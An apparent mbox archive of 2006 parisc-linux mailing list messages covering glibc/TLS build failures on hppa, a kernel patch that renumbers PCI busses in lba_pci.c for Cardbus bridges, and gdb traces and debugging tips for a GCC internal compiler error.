> function '__lll_mutex_trylock':
> ../ports/sysdeps/unix/sysv/linux/hppa/nptl/lowlevellock.h:113: error:
> expected ':' or ')' before '-' token
> ...
>
> i leave adding snap updates to GMsoft ... i try to stick with releases
> since i
> have to help so many arches :/
>
> > what is the minimal binutils/gcc versions for TLS support ?
> binutils-2.17
> > + gcc-4.1.1 == no hppa TLS
>
> upgraded to binutils-2.17.50.0.6 and i got TLS with gcc-4.1.1
> -mike



If you want a reference implementation, we have this running in Ubuntu
Feisty now.




-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/

------=_Part_28678_31004965.1163790984542
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On 16/11/06, <b class="gmail_sendername">Mike Frysinger</b> &lt;<a href="mailto:vapier@gentoo.org">vapier@gentoo.org</a>&gt; wrote:<div><span class="gmail_quote"></span><blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">
On Thursday 16 November 2006 23:16, Mike Frysinger wrote:<br>&gt; ok, just tried glibc-2.5 + hppa + linuxthreads and that is for sure broken<br>&gt; (the defines for handling locking is all broken in the release)<br><br>yeah 
glibc-2.5 fails as well:<br>... -o /var/tmp/portage/cross-hppa2.0-unknown-linux-gnu/glibc-2.5<br>/work/build-default-hppa2.0-unknown-linux-gnu-nptl/csu/crtn.o<br>In file included from ../nptl/descr.h:30,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; from ../ports/sysdeps/hppa/nptl/tls.h:63,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; from ../include/tls.h:6,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; from &lt;stdin&gt;:2:<br>../ports/sysdeps/unix/sysv/linux/hppa/nptl/lowlevellock.h: In<br>function '__lll_mutex_trylock':<br>../ports/sysdeps/unix/sysv/linux/hppa/nptl/lowlevellock.h:113: error:
<br>expected ':' or ')' before '-' token<br>...<br><br>i leave adding snap updates to GMsoft ... i try to stick with releases since i<br>have to help so many arches :/<br><br>&gt; what is the minimal binutils/gcc versions for TLS support ?&nbsp;&nbsp;
binutils-2.17<br>&gt; + gcc-4.1.1 == no hppa TLS<br><br>upgraded to binutils-2.17.50.0.6 and i got TLS with gcc-4.1.1<br>-mike</blockquote><div><br><br>If you want a reference implementation, we have this running in Ubuntu Feisty now. 
<br></div><br></div><br><br clear="all"><br>-- <br>Jeff Bailey - <a href="http://www.raspberryginger.com/jbailey/">http://www.raspberryginger.com/jbailey/</a>

------=_Part_28678_31004965.1163790984542--

--===============0942037714==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0942037714==--



From - Thu Nov 08 21:35:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LBA PCI : avoid crash when pluging a pcmcia bridge
Date: Fri, 17 Nov 2006 13:30:42 -0700
Lines: 58
Approved: news@gmane.org
Message-ID: <20061117203041.GD18567@parisc-linux.org>
References: <20061108150706.bb658b27.gmsoft@tuxicoman.be>
	<20061115080022.GB30664@colo.lackof.org>
	<20061115122506.523bdd01.gmsoft@tuxicoman.be>
	<20061115122352.GH19143@parisc-linux.org>
	<20061115190830.f8e99725.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624213 21610 80.91.229.3 (22 Nov 2014 02:43:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Nov 2006 20:31:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx004) with SMTP; 17 Nov 2006 21:31:00 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3B4347D95D;
	Fri, 17 Nov 2006 13:30:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18081-01; Fri, 17 Nov 2006 13:30:56 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D2FED7D95E;
	Fri, 17 Nov 2006 13:30:54 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F0BFE7D8D8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 13:30:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17999-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 13:30:42 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 9D7637D89E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 13:30:42 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 6A0A1494003; Fri, 17 Nov 2006 13:30:42 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20061115190830.f8e99725.gmsoft@tuxicoman.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PS5ncCUleWU7ULeUfHVz7405U3U4N4+S
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24085

On Wed, Nov 15, 2006 at 07:08:30PM +0100, Guy Martin wrote:
> I've put the complete dmesg and lspci output (both numerical and not) here :
> https://www.tuxicoman.be/temp/c3600-pci-debug.logs

Thanks.  Please try this patch (cribbed somewhat from jejb's patch for
Dino back in December 2003 ;-)

diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index ad4a1a1..963f35c 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1406,6 +1406,14 @@ lba_hw_init(struct lba_device *d)
 	return 0;
 }
 
+/*
+ * Unfortunately, when firmware numbers busses, it doesn't take into account
+ * Cardbus bridges.  So we have to renumber the busses to suit ourselves.
+ * Elroy/Mercury don't actually know what bus number they're attached to;
+ * we use bus 0 to indicate the directly attached bus and any other bus
+ * number will be taken care of by the PCI-PCI bridge.
+ */
+static unsigned int lba_next_bus = 0;
 
 
 /*
@@ -1529,16 +1537,20 @@ lba_driver_probe(struct parisc_device *d
 		lba_legacy_resources(dev, lba_dev);
 	}
 
-	/* 
-	** Tell PCI support another PCI bus was found.
-	** Walks PCI bus for us too.
-	*/
+	if (lba_dev->hba.bus_num.start < lba_next_bus) {
+		DBG(KERN_DEBUG "Reassigning firmware bus %d as Linux bus %d\n",
+			lba_dev->hba.bus_num.start, lba_next_bus);
+		lba_dev->hba.bus_num.start = lba_next_bus;
+	}
+
 	dev->dev.platform_data = lba_dev;
 	lba_bus = lba_dev->hba.hba_bus =
 		pci_scan_bus_parented(&dev->dev, lba_dev->hba.bus_num.start,
 				cfg_ops, NULL);
-	if (lba_bus)
+	if (lba_bus) {
+		lba_next_bus = lba_bus->subordinate + 1;
 		pci_bus_add_devices(lba_bus);
+	}
 
 	/* This is in lieu of calling pci_assign_unassigned_resources() */
 	if (is_pdc_pat()) {
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc ICE PR29114 (was: 64-bit long double support.)
Date: Fri, 17 Nov 2006 15:51:27 -0500
Lines: 67
Approved: news@gmane.org
Message-ID: <20061117205126.GA15716@hiauly1.hia.nrc.ca>
References: <119aab440611161731p47779d1hdc7e7dbd336eb23c@mail.gmail.com>
	<200611162310.03845.vapier@gentoo.org>
	<20061117053556.GA694@hiauly1.hia.nrc.ca>
	<200611171502.49875.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624213 21616 80.91.229.3 (22 Nov 2014 02:43:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:33 +0000 (UTC)
Cc: dave.anglin@nrc.ca,
 parisc-linux@lists.parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Nov 2006 20:52:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 17 Nov 2006 21:52:10 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B90397D95C;
	Fri, 17 Nov 2006 13:52:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18472-09; Fri, 17 Nov 2006 13:52:07 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 155DB7D964;
	Fri, 17 Nov 2006 13:52:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D63AD7D959
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 13:51:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18472-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 13:51:58 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 63F887D943
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 13:51:58 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id kAHKpRa9016144;
	Fri, 17 Nov 2006 15:51:28 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id kAHKpRwl016143;
	Fri, 17 Nov 2006 15:51:27 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200611171502.49875.vapier@gentoo.org>
User-Agent: Mutt/1.4.2.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yxVsfRdbPjltCOrBOTU2iOczMTE2NYk5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24086

> i've attached my gdb run ... i'm not familiar with gcc so i dont know what 
> more information you need to see to debug

Excellent progress.

> Breakpoint 1, emit_move_sequence (operands=0x7c3908288900, mode=DImode, scratch_reg=0x0)
>     at /usr/local/src/gnu/gcc/branches/gcc-4_1-branch/gcc/config/pa/pa.c:1309
> 1309	{

What we need to see is the backtrace when emit_move_sequence (or emit_insn)
is called with operands that match those in the insn that causes the ICE below.
This will localize the area of the problem.

In the call to emit_move_sequence, operands is an array.  operands[0] is
the DEST for the move operation.  operands[1] is the SRC.

You can see the RTL for the first two operands with the commands:

p debug_rtl (operands[0])
p debug_rtl (operands[1])

In the break at emit_insn,

p debug_rtl (x)

will print "x" in formated form.

Other useful GCC debug commands:

p debug_rtl_list (INSN, N)
where INSN is an instruction RTX.  This will print N insns.

p debug_tree (TREE)
where TREE is a tree variable will print out the tree struct.

p operands[0]
will print operands[0] as a C struct.

ptype operands[0]
will show the RTX type details.  This is useful for figuring
out how to set a conditional break that will check for "reg:DI 95".

> ../seed48_r.i: In function 'main':
> ../seed48_r.i:1: error: unrecognizable insn:
> (insn 9 8 10 1 (set (reg:DI 95)
>         (plus:DI (reg:DI 96)
>             (const_int -6547 [0xffffffffffffe66d]))) -1 (nil)
>     (expr_list:REG_EQUAL (const_int 25214903917 [0x5deece66d])
>         (nil)))
> ../seed48_r.i:1: internal compiler error: in extract_insn, at recog.c:2084
> Please submit a full bug report,
> with preprocessed source if appropriate.
> See <URL:http://gcc.gnu.org/bugs.html> for instructions.
> 
> Program exited with code 01.
> (gdb) 

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc ICE PR29114 (was: 64-bit long double support.)
Date: Fri, 17 Nov 2006 16:12:35 -0500
Organization: wh0rd.org
Lines: 358
Approved: news@gmane.org
Message-ID: <200611171612.36286.vapier@gentoo.org>
References: <119aab440611161731p47779d1hdc7e7dbd336eb23c@mail.gmail.com>
	<200611171502.49875.vapier@gentoo.org>
	<20061117205126.GA15716@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_EXiXFo3EVKgtM2l"
X-Trace: ger.gmane.org 1416624214 21617 80.91.229.3 (22 Nov 2014 02:43:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:34 +0000 (UTC)
Cc: dave.anglin@nrc.ca,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Nov 2006 21:12:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 17 Nov 2006 22:12:57 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E4707D95E;
	Fri, 17 Nov 2006 14:12:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19160-01; Fri, 17 Nov 2006 14:12:52 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 388837D967;
	Fri, 17 Nov 2006 14:12:50 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 295ED7D967
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 14:12:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18849-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 14:12:38 -0700 (MST)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id 6C60F7D89B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 14:12:38 -0700 (MST)
Original-Received: from home.wh0rd.org (localhost [127.0.0.1])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id 4AB436435C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 21:12:34 +0000 (UTC)
Original-Received: (qmail 2147 invoked from network); 17 Nov 2006 16:09:44 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 17 Nov 2006 16:09:44 -0500
User-Agent: KMail/1.9.5
In-Reply-To: <20061117205126.GA15716@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: u0k1LVU9TlIvULeQeGhrarNGU2poZZni
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24087

--Boundary-00=_EXiXFo3EVKgtM2l
Content-Type: multipart/signed; boundary="nextPart13722945.0gQrkoDFji";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart13722945.0gQrkoDFji
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Friday 17 November 2006 15:51, John David Anglin wrote:
> What we need to see is the backtrace when emit_move_sequence (or emit_insn)
> is called with operands that match those in the insn that causes the ICE
> below. This will localize the area of the problem.

updated trace with automatic pretty prints attached to each breakpoint
-mike

--nextPart13722945.0gQrkoDFji
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (GNU/Linux)

iQIVAwUARV4lxEFjO5/oN/WBAQJa2g//cFXsKKBubPmYplqfpkVs+dey48GJQtHB
AgWRQOo1jixQUQA/oFeckhpSBsEd/nZMlAtPHl6I72/Su1wGjzlDehCRfB37/7cJ
gCjJY0pu5XGu/w5vOOW/FaKe9fH1Iyhmzr8wz9stbDlpkPJiclO8jhLVGL8gRyUS
+SrSg00S1Ba9XjWhKnDJdDSgv1LFN/2sAN5mWdBzvJR4lGr4xMKPjenOFFAvNDep
E4LhG5WxR3ZV8Kxn2XosJry7DocSmi7npAWH8GeOaLdZlWq482eaYd9VF3WS+czb
5dDBFt1mXP7dPLs4Z6J6lrmtuZ6SENEQ1kWqBUHCSli9vGJK7yIDSsperxapmhRR
HWDW4VgASD3Nqq+AtvBRipmhqb8odXOuayM+kxPmjizyaEavSH3bZYu1hRxzVqIH
a6DnEqwUu7//0IFVq2bDBpiN2SkmJRbbrCS6fF1WByAjRHZSrkfafQyzCxkuNyur
GuCXa/DU4TaCXuGM52CyRDjUACRxgkxJPYqFkubZowLoJNYcxX++Oe/8DtT4oLDd
K1v5NGJ7gxlkIZCgSIYmIIRTiXFApGj3xbcdM9NiWNGwb5tgn6Mfhc73fzIxe82g
NQhwTxrKlDfHlBC99TJPqF1bJCLpFwTe7afpLPD5JTKin7eayQQatMKmXtgACO4E
EThkJhFNMnc=
=Gs5U
-----END PGP SIGNATURE-----

--nextPart13722945.0gQrkoDFji--

--Boundary-00=_EXiXFo3EVKgtM2l
Content-Type: text/plain;
  charset="iso-8859-1";
  name="gdb-run"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
	filename="gdb-run"

$ gdb
Using host libthread_db library "/lib/libthread_db.so.1".
Breakpoint 1 at 0x72eeea: file /usr/local/src/gnu/gcc/branches/gcc-4_1-branch/gcc/config/pa/pa.c, line 1310.
Breakpoint 2 at 0x5878c5: file /usr/local/src/gnu/gcc/branches/gcc-4_1-branch/gcc/emit-rtl.c, line 4433.
Breakpoint 3 at 0x587388: file /usr/local/src/gnu/gcc/branches/gcc-4_1-branch/gcc/emit-rtl.c, line 4260.
Breakpoint 4 at 0x587670: file /usr/local/src/gnu/gcc/branches/gcc-4_1-branch/gcc/emit-rtl.c, line 4354.
GNU C version 4.1.2 20061117 (prerelease) (hppa2.0-unknown-linux-gnu)
	compiled by GNU C version 4.1.1 (Gentoo 4.1.1-r2).
GGC heuristics: --param ggc-min-expand=100 --param ggc-min-heapsize=131072
Compiler executable checksum: 75c21c80b69b3dedab682219e007845e

Breakpoint 2, emit_insn (x=0x0) at /usr/local/src/gnu/gcc/branches/gcc-4_1-branch/gcc/emit-rtl.c:4433
4433	  rtx last = last_insn;
(gdb) c
Continuing.

Breakpoint 1, emit_move_sequence (operands=0x70c27856bec0, mode=DImode, scratch_reg=0x0)
    at /usr/local/src/gnu/gcc/branches/gcc-4_1-branch/gcc/config/pa/pa.c:1310
1310	  register rtx operand0 = operands[0];
$1 = {code = MEM, mode = DImode, jump = 0, call = 1, unchanging = 0, volatil = 0, in_struct = 0, used = 0, 
  frame_related = 0, return_val = 1, u = {fld = {{rt_int = -1009418144, rt_uint = 3285549152, 
        rt_str = 0x3204c3d58060 "\"", rt_rtx = 0x3204c3d58060, rt_rtvec = 0x3204c3d58060, 
        rt_type = 3285549152, rt_addr_diff_vec_flags = {min_align = 96, base_after_vec = 0, 
          min_after_vec = 0, max_after_vec = 0, min_after_base = 0, max_after_base = 0, 
          offset_unsigned = 0, scale = 213}, rt_cselib = 0x3204c3d58060, rt_bit = 0x3204c3d58060, 
        rt_tree = 0x3204c3d58060, rt_bb = 0x3204c3d58060, rt_mem = 0x3204c3d58060, 
        rt_reg = 0x3204c3d58060}}, hwint = {54996046807136}, rv = {cl = 0, sign = 0, signalling = 0, 
      canonical = 0, uexp = 102673411, sig = {54996047739472, 0, 458786}}}}
$2 = {code = CONST_INT, mode = VOIDmode, jump = 0, call = 0, unchanging = 0, volatil = 0, in_struct = 0, 
  used = 0, frame_related = 0, return_val = 0, u = {fld = {{rt_int = -554899859, rt_uint = 3740067437, 
        rt_str = 0x5deece66d <Address 0x5deece66d out of bounds>, rt_rtx = 0x5deece66d, 
        rt_rtvec = 0x5deece66d, rt_type = 3740067437, rt_addr_diff_vec_flags = {min_align = 109, 
          base_after_vec = 0, min_after_vec = 1, max_after_vec = 1, min_after_base = 0, max_after_base = 0, 
          offset_unsigned = 1, scale = 236}, rt_cselib = 0x5deece66d, rt_bit = 0x5deece66d, 
        rt_tree = 0x5deece66d, rt_bb = 0x5deece66d, rt_mem = 0x5deece66d, rt_reg = 0x5deece66d}}, hwint = {
      25214903917}, rv = {cl = 1, sign = 1, signalling = 1, canonical = 0, uexp = 116877107, sig = {0, 0, 
        0}}}}
(gdb) 
Continuing.

Breakpoint 1, emit_move_sequence (operands=0x70c27856bb80, mode=DImode, scratch_reg=0x0)
    at /usr/local/src/gnu/gcc/branches/gcc-4_1-branch/gcc/config/pa/pa.c:1310
1310	  register rtx operand0 = operands[0];
$3 = {code = REG, mode = DImode, jump = 0, call = 0, unchanging = 0, volatil = 0, in_struct = 0, used = 0, 
  frame_related = 0, return_val = 0, u = {fld = {{rt_int = 95, rt_uint = 95, 
        rt_str = 0x5f <Address 0x5f out of bounds>, rt_rtx = 0x5f, rt_rtvec = 0x5f, rt_type = 95, 
        rt_addr_diff_vec_flags = {min_align = 95, base_after_vec = 0, min_after_vec = 0, max_after_vec = 0, 
          min_after_base = 0, max_after_base = 0, offset_unsigned = 0, scale = 0}, rt_cselib = 0x5f, 
        rt_bit = 0x5f, rt_tree = 0x5f, rt_bb = 0x5f, rt_mem = 0x5f, rt_reg = 0x5f}}, hwint = {95}, rv = {
      cl = 3, sign = 1, signalling = 1, canonical = 1, uexp = 2, sig = {95, 0, 0}}}}
$4 = {code = CONST_INT, mode = VOIDmode, jump = 0, call = 0, unchanging = 0, volatil = 0, in_struct = 0, 
  used = 0, frame_related = 0, return_val = 0, u = {fld = {{rt_int = -554899859, rt_uint = 3740067437, 
        rt_str = 0x5deece66d <Address 0x5deece66d out of bounds>, rt_rtx = 0x5deece66d, 
        rt_rtvec = 0x5deece66d, rt_type = 3740067437, rt_addr_diff_vec_flags = {min_align = 109, 
          base_after_vec = 0, min_after_vec = 1, max_after_vec = 1, min_after_base = 0, max_after_base = 0, 
          offset_unsigned = 1, scale = 236}, rt_cselib = 0x5deece66d, rt_bit = 0x5deece66d, 
        rt_tree = 0x5deece66d, rt_bb = 0x5deece66d, rt_mem = 0x5deece66d, rt_reg = 0x5deece66d}}, hwint = {
      25214903917}, rv = {cl = 1, sign = 1, signalling = 1, canonical = 0, uexp = 116877107, sig = {0, 0, 
        0}}}}
(gdb) 
Continuing.

Breakpoint 2, emit_insn (x=0x3204c3e31740)
    at /usr/local/src/gnu/gcc/branches/gcc-4_1-branch/gcc/emit-rtl.c:4433
4433	  rtx last = last_insn;
